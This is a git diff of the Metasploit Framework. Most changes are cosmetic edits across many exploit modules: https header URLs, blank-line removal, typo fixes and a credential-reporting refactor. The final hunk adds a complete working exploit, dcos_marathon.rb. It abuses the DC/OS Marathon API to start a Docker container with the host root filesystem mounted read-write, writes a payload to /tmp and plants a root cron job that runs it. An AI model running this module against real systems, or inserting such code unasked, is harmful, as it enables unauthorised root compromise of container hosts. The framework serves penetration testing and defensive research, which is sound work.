-
 end
diff --git a/modules/exploits/freebsd/local/mmap.rb b/modules/exploits/freebsd/local/mmap.rb
index 37f3d708b3..928b245fdf 100644
--- a/modules/exploits/freebsd/local/mmap.rb
+++ b/modules/exploits/freebsd/local/mmap.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -106,5 +106,4 @@ class MetasploitModule < Msf::Exploit::Local
     print_status("Executing #{exploit_fname}")
     cmd_exec(exploit_fname)
   end
-
 end
diff --git a/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb b/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb
index a91e871a56..e2cf503e44 100644
--- a/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb
+++ b/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Local
   # It needs 3 minutes wait time
   # WfsDelay set to 180, so it should be a Manual exploit,
@@ -93,5 +92,4 @@ class MetasploitModule < Msf::Exploit::Local
     register_file_for_cleanup(dummy_filename)
     register_file_for_cleanup(filename)
   end
-
 end
diff --git a/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb b/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb
index 64dd0fff70..cbd5b598e7 100644
--- a/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb
+++ b/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -161,5 +161,4 @@ class MetasploitModule < Msf::Exploit::Remote
     c.put(pkt)
     c.disconnect
   end
-
 end
diff --git a/modules/exploits/freebsd/samba/trans2open.rb b/modules/exploits/freebsd/samba/trans2open.rb
index a24a21b1f3..c804d9f67c 100644
--- a/modules/exploits/freebsd/samba/trans2open.rb
+++ b/modules/exploits/freebsd/samba/trans2open.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -129,5 +129,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/freebsd/tacacs/xtacacsd_report.rb b/modules/exploits/freebsd/tacacs/xtacacsd_report.rb
index 5da0687e6f..ac6dfbe91a 100644
--- a/modules/exploits/freebsd/tacacs/xtacacsd_report.rb
+++ b/modules/exploits/freebsd/tacacs/xtacacsd_report.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -77,5 +77,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb b/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb
index 56b75d6b68..945691384c 100644
--- a/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb
+++ b/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb
@@ -1,12 +1,10 @@
 # -*- coding: binary -*-
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -121,5 +119,4 @@ class MetasploitModule < Msf::Exploit::Remote
     ::IO.select(nil, nil, nil, 0.5)
     disconnect
   end
-
 end
diff --git a/modules/exploits/hpux/lpd/cleanup_exec.rb b/modules/exploits/hpux/lpd/cleanup_exec.rb
index 7758308803..bf85233527 100644
--- a/modules/exploits/hpux/lpd/cleanup_exec.rb
+++ b/modules/exploits/hpux/lpd/cleanup_exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -96,5 +94,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/irix/lpd/tagprinter_exec.rb b/modules/exploits/irix/lpd/tagprinter_exec.rb
index e3ff4a8515..62a707d295 100644
--- a/modules/exploits/irix/lpd/tagprinter_exec.rb
+++ b/modules/exploits/irix/lpd/tagprinter_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -67,5 +67,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     print_status("Payload: #{payload.encoded}")
   end
-
 end
diff --git a/modules/exploits/linux/antivirus/escan_password_exec.rb b/modules/exploits/linux/antivirus/escan_password_exec.rb
index 8ad8b40e20..6a865994b8 100644
--- a/modules/exploits/linux/antivirus/escan_password_exec.rb
+++ b/modules/exploits/linux/antivirus/escan_password_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -163,5 +163,4 @@ class MetasploitModule < Msf::Exploit::Remote
       }
     }, timeout)
   end
-
 end
diff --git a/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb b/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb
index 3362d88bcc..e3d76631bf 100644
--- a/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb
+++ b/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Adobe Flash Player ActionScript Launch Command Execution Vulnerability',
       'Description'    => %q{
           This module exploits a vulnerability in Adobe Flash Player for Linux,
-          version  10.0.12.36 and 9.0.151.0 and prior.
+          version 10.0.12.36 and 9.0.151.0 and prior.
           An input validation vulnerability allows command execution when the browser
           loads a SWF file which contains shell metacharacters in the arguments to
           the ActionScript launch method.
diff --git a/modules/exploits/linux/ftp/proftp_sreplace.rb b/modules/exploits/linux/ftp/proftp_sreplace.rb
index 6a615feacc..0aa80f12c1 100644
--- a/modules/exploits/linux/ftp/proftp_sreplace.rb
+++ b/modules/exploits/linux/ftp/proftp_sreplace.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -229,5 +229,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/linux/ftp/proftp_telnet_iac.rb b/modules/exploits/linux/ftp/proftp_telnet_iac.rb
index 9e99fa1409..2c71ce0a55 100644
--- a/modules/exploits/linux/ftp/proftp_telnet_iac.rb
+++ b/modules/exploits/linux/ftp/proftp_telnet_iac.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote
         Although SSP significantly reduces the probability of a single attempt
         succeeding, it will not prevent exploitation. Since the daemon forks in a
         default configuration, the cookie value will remain the same despite
-        some attemtps failing. By making repeated requests, an attacker can eventually
+        some attempts failing. By making repeated requests, an attacker can eventually
         guess the cookie value and exploit the vulnerability.
 
         The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness
@@ -437,5 +437,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/linux/games/ut2004_secure.rb b/modules/exploits/linux/games/ut2004_secure.rb
index 174e8527ff..fa322cf0e9 100644
--- a/modules/exploits/linux/games/ut2004_secure.rb
+++ b/modules/exploits/linux/games/ut2004_secure.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -109,5 +109,4 @@ class MetasploitModule < Msf::Exploit::Remote
     vprint_status("This system appears to be patched")
     return Exploit::CheckCode::Safe
   end
-
 end
diff --git a/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb b/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb
index 5d8080941c..fde1102385 100644
--- a/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb
+++ b/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -119,5 +119,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb b/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb
index 2f44d92d92..04dfbc66a9 100644
--- a/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb
+++ b/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,18 +13,19 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description' => %q{
         This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
         handles external environment variables. This module targets the 'ping.sh' CGI
-        script, acessible through the Boa web server on Advantech switches. This module
+        script, accessible through the Boa web server on Advantech switches. This module
         was tested against firmware version 1322_D1.98.
       },
       'Author' => 'hdm',
       'References' => [
-        ['CVE', '2014-6271'],
-        ['CWE', '94'],
-        ['OSVDB', '112004'],
-        ['EDB', '34765'],
-        ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/01/r7-2015-25-advantech-eki-multiple-known-vulnerabilities'],
-        ['URL', 'https://access.redhat.com/articles/1200223'],
-        ['URL', 'http://seclists.org/oss-sec/2014/q3/649']
+        [ 'AKA', 'Shellshock' ],
+        [ 'CVE', '2014-6271' ],
+        [ 'CWE', '94' ],
+        [ 'OSVDB', '112004' ],
+        [ 'EDB', '34765' ],
+        [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/01/r7-2015-25-advantech-eki-multiple-known-vulnerabilities' ],
+        [ 'URL', 'https://access.redhat.com/articles/1200223' ],
+        [ 'URL', 'http://seclists.org/oss-sec/2014/q3/649' ]
       ],
       'Privileged' => false,
       'Arch' => ARCH_CMD,
@@ -95,5 +96,4 @@ class MetasploitModule < Msf::Exploit::Remote
       'agent'  => cmd
     )
   end
-
 end
diff --git a/modules/exploits/linux/http/airties_login_cgi_bof.rb b/modules/exploits/linux/http/airties_login_cgi_bof.rb
index 5afdf05534..7ac9d49673 100644
--- a/modules/exploits/linux/http/airties_login_cgi_bof.rb
+++ b/modules/exploits/linux/http/airties_login_cgi_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb b/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb
index 159f997464..fbd10a7dbe 100644
--- a/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb
+++ b/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
         HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
         Communication Server 7.1 and earlier. The Unified Maintenance Tool
         contains a 'masterCGI' binary which allows an unauthenticated attacker
-        to execute arbitrary commands by specifing shell metacharaters as the
+        to execute arbitrary commands by specifying shell metacharaters as the
         'user' within the 'ping' action to obtain 'httpd' user access. This
         module only supports command line payloads, as the httpd process kills
         the reverse/bind shell spawn after the HTTP 200 OK response.
@@ -79,5 +79,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/linux/http/alienvault_exec.rb b/modules/exploits/linux/http/alienvault_exec.rb
index ae4b6ad4a9..14ca6b3ad3 100644
--- a/modules/exploits/linux/http/alienvault_exec.rb
+++ b/modules/exploits/linux/http/alienvault_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,13 +13,13 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => "AlienVault OSSIM/USM Remote Code Execution",
       'Description'    => %q{
-        This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together.
+        This module exploits object injection, authentication bypass and ip spoofing vulnerabilities all together.
         Unauthenticated users can execute arbitrary commands under the context of the root user.
 
         By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability
         which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue
         action and policy that enables to execute operating system commands by using captured session token. As a final step,
-        SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes
+        SSH login attempt with an invalid credentials can trigger a created rogue policy which triggers an action that executes
         operating system command with root user privileges.
 
         This module was tested against following product and versions:
diff --git a/modules/exploits/linux/http/alienvault_sqli_exec.rb b/modules/exploits/linux/http/alienvault_sqli_exec.rb
index bf901cd253..fd8b209314 100644
--- a/modules/exploits/linux/http/alienvault_sqli_exec.rb
+++ b/modules/exploits/linux/http/alienvault_sqli_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -350,5 +350,4 @@ class MetasploitModule < Msf::Exploit::Remote
       super # mixins should be able to cleanup even in case of Exception
     end
   end
-
 end
diff --git a/modules/exploits/linux/http/apache_continuum_cmd_exec.rb b/modules/exploits/linux/http/apache_continuum_cmd_exec.rb
index 8f8f713e0c..a053a25d03 100644
--- a/modules/exploits/linux/http/apache_continuum_cmd_exec.rb
+++ b/modules/exploits/linux/http/apache_continuum_cmd_exec.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
@@ -72,5 +71,4 @@ class MetasploitModule < Msf::Exploit::Remote
       }
     )
   end
-
 end
diff --git a/modules/exploits/linux/http/astium_sqli_upload.rb b/modules/exploits/linux/http/astium_sqli_upload.rb
index e1f32bea2a..f2ad02fb59 100644
--- a/modules/exploits/linux/http/astium_sqli_upload.rb
+++ b/modules/exploits/linux/http/astium_sqli_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -180,5 +180,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/linux/http/atutor_filemanager_traversal.rb b/modules/exploits/linux/http/atutor_filemanager_traversal.rb
index 45c2595bd6..cabb67a799 100644
--- a/modules/exploits/linux/http/atutor_filemanager_traversal.rb
+++ b/modules/exploits/linux/http/atutor_filemanager_traversal.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -293,37 +293,10 @@ class MetasploitModule < Msf::Exploit::Remote
     return nil
   end
 
-  def report_cred(opts)
-    service_data = {
-      address: rhost,
-      port: rport,
-      service_name: ssl ? 'https' : 'http',
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
-
-    credential_data = {
-      module_fullname: fullname,
-      post_reference_name: self.refname,
-      private_data: opts[:password],
-      origin_type: :service,
-      private_type: :password,
-      username: opts[:user]
-    }.merge(service_data)
-
-    login_data = {
-      core: create_credential(credential_data),
-      status: Metasploit::Model::Login::Status::SUCCESSFUL,
-      last_attempted_at: Time.now
-    }.merge(service_data)
-
-    create_credential_login(login_data)
-  end
-
   def exploit
     # login if needed
     if (not datastore['USERNAME'].empty? and not datastore['PASSWORD'].empty?)
-      report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])
+      store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
       student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
       print_good("Logged in as #{datastore['USERNAME']}")
     # else, we reset the students password via a type juggle vulnerability
@@ -352,7 +325,11 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 end
 
+def service_details
+  super.merge({ post_reference_name: self.refname })
+end
+
 =begin
 php.ini settings:
-display_errors = On  
+display_errors = On
 =end
diff --git a/modules/exploits/linux/http/belkin_login_bof.rb b/modules/exploits/linux/http/belkin_login_bof.rb
index accfbaa5a6..8675f6b497 100644
--- a/modules/exploits/linux/http/belkin_login_bof.rb
+++ b/modules/exploits/linux/http/belkin_login_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/centreon_sqli_exec.rb b/modules/exploits/linux/http/centreon_sqli_exec.rb
index 7c6c4e8779..d8907cffd9 100644
--- a/modules/exploits/linux/http/centreon_sqli_exec.rb
+++ b/modules/exploits/linux/http/centreon_sqli_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -133,5 +133,4 @@ class MetasploitModule < Msf::Exploit::Remote
     payload.encoded.each_byte { |c| p << "#{c},"}
     p
   end
-
 end
diff --git a/modules/exploits/linux/http/centreon_useralias_exec.rb b/modules/exploits/linux/http/centreon_useralias_exec.rb
index 4047edc324..086e4a6e46 100644
--- a/modules/exploits/linux/http/centreon_useralias_exec.rb
+++ b/modules/exploits/linux/http/centreon_useralias_exec.rb
@@ -1,7 +1,7 @@
 ##
-## This module requires Metasploit: http://metasploit.com/download
-## Current source: https://github.com/rapid7/metasploit-framework
-###
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
 class MetasploitModule < Msf::Exploit::Remote
   include Msf::Exploit::Remote::HttpClient
diff --git a/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb b/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb
index 23ed64bc3b..f948eb8ff4 100644
--- a/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb
+++ b/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/cisco_firepower_useradd.rb b/modules/exploits/linux/http/cisco_firepower_useradd.rb
index 3dcc67dcd7..34fd96e78c 100644
--- a/modules/exploits/linux/http/cisco_firepower_useradd.rb
+++ b/modules/exploits/linux/http/cisco_firepower_useradd.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -158,33 +158,6 @@ class MetasploitModule < Msf::Exploit::Remote
     datastore['NEWSSHPASS'] || Rex::Text.rand_text_alpha(5)
   end
 
-  def report_cred(opts)
-    service_data = {
-      address: rhost,
-      port: rport,
-      service_name: 'cisco',
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
-
-    credential_data = {
-      origin_type: :service,
-      module_fullname: fullname,
-      username: opts[:user],
-      private_data: opts[:password],
-      private_type: :password
-    }.merge(service_data)
-
-    login_data = {
-      last_attempted_at: DateTime.now,
-      core: create_credential(credential_data),
-      status: Metasploit::Model::Login::Status::SUCCESSFUL,
-      proof: opts[:proof]
-    }.merge(service_data)
-
-    create_credential_login(login_data)
-  end
-
   def do_login
     console_user = datastore['USERNAME']
     console_pass = datastore['PASSWORD']
@@ -211,7 +184,7 @@ class MetasploitModule < Msf::Exploit::Remote
       cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first
       print_status("CGI Session ID: #{cgi_sid}")
       print_good("Authenticated as #{console_user}:#{console_pass}")
-      report_cred(username: console_user, password: console_pass)
+      store_valid_credential(user: console_user, private: console_pass) # changes service_name to http || https
       return cgi_sid
     end
 
@@ -288,5 +261,4 @@ class MetasploitModule < Msf::Exploit::Remote
       @ssh_socket.close
     end
   end
-
 end
diff --git a/modules/exploits/linux/http/crypttech_cryptolog_login_exec.rb b/modules/exploits/linux/http/crypttech_cryptolog_login_exec.rb
index f94e580ba9..37ffe7aa13 100644
--- a/modules/exploits/linux/http/crypttech_cryptolog_login_exec.rb
+++ b/modules/exploits/linux/http/crypttech_cryptolog_login_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,16 +12,20 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => "Crypttech CryptoLog Remote Code Execution",
       'Description'    => %q{
-        This module exploits the sql injection and command injection vulnerability of CryptoLog. An un-authenticated user can execute a
-        terminal command under the context of the web user.
+        This module exploits a SQL injection and command injection vulnerability in the PHP version of CryptoLog.
+        An unauthenticated user can execute a terminal command under the context of the web user. These vulnerabilities
+        are no longer present in the ASP.NET version CryptoLog, available since 2009.
 
-        login.php endpoint is responsible for login process. One of the user supplied parameter is used by the application without input validation
-        and parameter binding. Which cause a sql injection vulnerability. Successfully exploitation of this vulnerability gives us the valid session.
+        CryptoLog's login.php endpoint is responsible for the login process. One of the user supplied parameters is
+        used by the application without input validation and parameter binding, which leads to SQL injection
+        vulnerability. Successfully exploiting this vulnerability gives a valid session.
 
-        logshares_ajax.php endpoint is responsible for executing an operation system command. It's not possible to access this endpoint without having
-        a valid session. One user parameter is used by the application while executing operating system command which cause a command injection issue.
+        CryptoLog's logshares_ajax.php endpoint is responsible for executing an operation system command. It's not
+        possible to access this endpoint without having a valid session. One user parameter is used by the
+        application while executing an operating system command, which causes a command injection issue.
 
-        Combining these vulnerabilities gives us opportunity execute operation system command under the context of the web user.
+        Combining these vulnerabilities gives the opportunity execute operation system commands under the context
+        of the web user.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
diff --git a/modules/exploits/linux/http/dcos_marathon.rb b/modules/exploits/linux/http/dcos_marathon.rb
new file mode 100644
index 0000000000..c5ac9de55b
--- /dev/null
+++ b/modules/exploits/linux/http/dcos_marathon.rb
@@ -0,0 +1,195 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'DC/OS Marathon UI Docker Exploit',
+      'Description'    => %q{
+        Utilizing the DCOS Cluster's Marathon UI, an attacker can create
+        a docker container with the '/' path mounted with read/write
+        permissions on the host server that is running the docker container.
+        As the docker container executes command as uid 0 it is honored
+        by the host operating system allowing the attacker to edit/create
+        files owed by root. This exploit abuses this to creates a cron job
+        in the '/etc/cron.d/' path of the host server.
+
+        *Notes: The docker image must be a valid docker image from
+        hub.docker.com. Furthermore the docker container will only
+        deploy if there are resources available in the DC/OS cluster.
+      },
+      'Author'         => 'Erik Daguerre',
+      'License'        => MSF_LICENSE,
+      'References'     => [
+        [ 'URL', 'https://warroom.securestate.com/dcos-marathon-compromise/'],
+      ],
+      'Targets'            => [
+        [ 'Python', {
+            'Platform'   => 'python',
+            'Arch'       => ARCH_PYTHON,
+            'Payload'    => {
+              'Compat'   => {
+                'ConnectionType' => 'reverse noconn none tunnel'
+              }
+            }
+          }
+        ]
+      ],
+      'DefaultOptions' => { 'WfsDelay' => 75 },
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Mar 03, 2017'))
+
+    register_options(
+      [
+        Opt::RPORT(8080),
+        OptString.new('TARGETURI', [ true, 'Post path to start docker', '/v2/apps' ]),
+        OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
+        OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
+        OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
+      ])
+  end
+
+  def get_apps
+    res = send_request_raw({
+      'method'  => 'GET',
+      'uri'     => target_uri.path
+    })
+    return unless res and res.code == 200
+
+    # verify it is marathon ui, and is returning content-type json
+    return unless res.headers.to_json.include? 'Marathon' and res.headers['Content-Type'].include? 'application/json'
+    apps = JSON.parse(res.body)
+
+    apps
+  end
+
+  def del_container(container_id)
+    res = send_request_raw({
+      'method'  => 'DELETE',
+      'uri'     => normalize_uri(target_uri.path, container_id)
+    })
+    return unless res and res.code == 200
+
+    res.code
+  end
+
+  def make_container_id
+    return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
+
+    rand_text_alpha_lower(8)
+  end
+
+  def make_cmd(mnt_path, cron_path, payload_path)
+    vprint_status('Creating the docker container command')
+    payload_data = nil
+    echo_cron_path = mnt_path + cron_path
+    echo_payload_path = mnt_path + payload_path
+
+    cron_command = "python #{payload_path}"
+    payload_data = payload.raw
+
+    command = "echo \"#{payload_data}\" >> #{echo_payload_path}\n"
+    command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path}\n"
+    command << "echo \"\" >> #{echo_cron_path}\n"
+    command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}\n"
+    command << "sleep 120"
+
+    command
+  end
+
+  def make_container(mnt_path, cron_path, payload_path, container_id)
+    vprint_status('Setting container json request variables')
+    container_data = {
+      'cmd'                 => make_cmd(mnt_path, cron_path, payload_path),
+      'cpus'                => 1,
+      'mem'                 => 128,
+      'disk'                => 0,
+      'instances'           => 1,
+      'id'                  => container_id,
+      'container'           => {
+        'docker'            => {
+          'image'           => datastore['DOCKERIMAGE'],
+          'network'         => 'HOST',
+        },
+        'type'              => 'DOCKER',
+        'volumes'           => [
+          {
+            'hostPath'      => '/',
+            'containerPath' => mnt_path,
+            'mode'          => 'RW'
+          }
+        ],
+      },
+      'env'                 => {},
+      'labels'              => {}
+    }
+
+    container_data
+  end
+
+  def check
+    return Exploit::CheckCode::Safe if get_apps.nil?
+
+    Exploit::CheckCode::Appears
+  end
+
+  def exploit
+    if get_apps.nil?
+      fail_with(Failure::Unknown, 'Failed to connect to the targeturi')
+    end
+    # create required information to create json container information.
+    cron_path = '/etc/cron.d/' + rand_text_alpha(8)
+    payload_path = '/tmp/' + rand_text_alpha(8)
+    mnt_path = '/mnt/' + rand_text_alpha(8)
+    container_id = make_container_id()
+
+    res = send_request_raw({
+      'method'  => 'POST',
+      'uri'     => target_uri.path,
+      'data'    => make_container(mnt_path, cron_path, payload_path, container_id).to_json
+    })
+    fail_with(Failure::Unknown, 'Failed to create the docker container') unless res and res.code == 201
+
+    print_status('The docker container is created, waiting for it to deploy')
+    register_files_for_cleanup(cron_path, payload_path)
+    sleep_time = 5
+    wait_time = datastore['WAIT_TIMEOUT']
+    deleted_container = false
+    print_status("Waiting up to #{wait_time} seconds for docker container to start")
+
+    while wait_time > 0
+      sleep(sleep_time)
+      wait_time -= sleep_time
+      apps_status = get_apps
+      fail_with(Failure::Unknown, 'No apps returned') unless apps_status
+
+      apps_status['apps'].each do |app|
+        next if app['id'] != "/#{container_id}"
+
+        if app['tasksRunning'] == 1
+          print_status('The docker container is running, removing it')
+          del_container(container_id)
+          deleted_container = true
+          wait_time = 0
+        else
+          vprint_status('The docker container is not yet running')
+        end
+        break
+      end
+    end
+
+    # If the docker container does not deploy remove it and fail out.
+    unless deleted_container
+      del_container(container_id)
+      fail_with(Failure::Unknown, "The docker container failed to start")
+    end
+    print_status('Waiting for the cron job to run, can take up to 60 seconds')
+  end
+end
